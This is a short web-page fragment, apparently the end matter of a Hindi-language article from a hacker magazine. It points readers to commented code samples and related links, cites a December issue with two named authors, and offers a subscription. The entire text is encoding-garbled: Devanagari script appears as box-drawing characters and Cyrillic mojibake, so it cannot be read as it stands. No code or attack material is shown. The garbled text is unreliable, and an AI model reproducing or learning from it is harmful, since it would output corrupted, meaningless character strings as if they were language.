рд╣рдорд╛рд░реЗ рдбреАрд╡реАрдбреА рдпрд╛ рдпрд╣рд╛рдБ рд╡рд┐рд╕реНрддреГрдд рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕реБрдЭрд╛рдП рдЧрдП рдХреЛрдб рдирдореВрдиреЗ рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВред


рд╕рдВрдмрдВрдзрд┐рдд рд▓рд┐рдВрдХ


рд╣реИрдХрд░ рдкрддреНрд░рд┐рдХрд╛, рджрд┐рд╕рдВрдмрд░ (12) 143

рдирд┐рдХрд┐рддрд╛ рддрд╛рд░рдХрд╛рдиреЛрд╡ (CISS рд░рд┐рд╕рд░реНрдЪ рдЯреАрдо)

рдЕрд▓реЗрдХреНрдЬреЗрдВрдбрд░ рдмрд╛рдЬрд╝рдиреНрдпреБрдХ



рд╣реИрдХрд░ рдХреА рд╕рджрд╕реНрдпрддрд╛ рд▓реЗрдВ




All Articles